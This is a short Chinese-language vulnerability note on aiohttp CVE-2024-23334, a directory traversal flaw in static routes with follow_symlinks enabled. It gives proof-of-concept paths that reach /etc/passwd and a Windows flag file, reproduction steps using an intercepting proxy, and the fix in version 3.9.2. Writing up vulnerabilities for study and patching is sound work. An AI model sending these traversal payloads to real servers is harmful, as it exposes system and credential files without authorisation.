aiohttp CVE-2024-23334
漏洞简介
aiohttp 是一个用于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架。使用aiohttp作为Web服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查读取的文件是否位于根目录内。这可能会导致目录遍历漏洞,从而导致对系统上的任意文件进行未经授权的访问,即使符号链接不存在也是如此。鼓励缓解措施是禁用 follow_symlinks 并使用反向代理。
漏洞细节
poc
1 | Poc for windows: /static/../D:\flag.txt |
1 | Poc for Linux: /static/../../../../etc/passwd [need to fuzz "../"] |
复现
创建web服务
1 | from aiohttp import web |
同级目录创建static文件夹,运行py文件
测试poc
正常访问文件夹里的文件2.txt,结果如下
使用poc尝试目录穿越,注意要用bp或者其他改包工具,浏览器会直接吃掉../../
修复
版本 3.9.2 修复了此问题。